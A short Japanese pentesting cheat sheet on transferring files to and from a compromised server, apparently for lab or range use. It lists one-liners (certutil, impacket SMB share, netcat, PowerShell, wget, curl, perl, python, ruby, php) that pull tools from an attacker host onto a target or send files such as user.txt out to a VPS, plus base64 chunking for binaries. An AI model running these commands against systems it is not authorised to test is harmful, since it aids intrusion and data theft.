サーバーを取得したら、アップロードツールが必要になるか、サーバーからファイルをダウンロードする必要があります。異なるシナリオ(ネットワーク環境)に応じて、異なるファイルダウンロードツールが必要になる場合があります。通常、射撃場でも使用できますので、ここでは簡単に記録しておきます。
- windows
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
- impacket
impacket-smbserver
ツールを使用して SMB サーバーを作成します。
sudo impacket-smbserver <SHARE> ./
デフォルトでは SMB1 プロトコルでエラーが発生します。
sudo impacket-smbserver <SHARE> . -smb2support
-smb2support
オプションは SMB2 プロトコルサポートを有効にし、SMB2 プロトコルを使用するクライアントが共有に接続できることを意味します。
SMB2 はセキュリティポリシーによってアクセスがブロックされます。
パスワードを設定する必要があります。
sudo impacket-smbserver SHARE ./ -smb2support -username lca -password abc+123
- python
python -m http.server <port>
- nc
VPS 上で
cat user.txt | nc -l 1234
nc -l 1234 < user.txt
ターゲットマシンで:
nc <vps_ip> 1234 > user.txt
注:接続が確立された後、テストした結果、VPS 上で Ctrl+C を押す必要があります。そうしないと、ターゲットマシンはデータを完全に受信できません。
- powershell
$p = New-Object System.Net.WebClient;$p.DownloadFile("http://1.1.1.1:8000/user.txt","C:\Users\lca\Desktop\user.txt");
- wget
wget http://1.1.1.1/user.txt -O C:\Users\lca\Desktop\user.txt
- curl
curl http://1.1.1.1:8000/user.txt -o C:\Users\lca\Desktop\user.txt
- perl
perl -e "use LWP::Simple; getstore('http://1.1.1.1/user.txt', '/tmp/user.txt');"
- python
python -c "import urllib.request;urllib.request.urlretrieve('http://1.1.1.1/user.txt', '/tmp/user.txt')"
- ruby
ruby -ropen-uri -e "open('/tmp/user3.txt', 'wb') { |file| file << URI.open('http://1.1.1.1:8000/user.txt').read }"
- php
php -r "file_put_contents('/tmp/user4.txt', file_get_contents('http://1.1.1.1:8000/user.txt'));"
注:場合によっては、exe、jar などのファイルをダウンロードする場合、まず base64 形式に変換してから、転送が完了したら base64 エンコードされたコンテンツを元に戻すことができます。サイズ制限がある場合は、ブロックごとに転送することもできます。
#エンコード
base64 -i xxx.jar > out.txt
#復元
base64 --decode -i out.txt -o 1.jar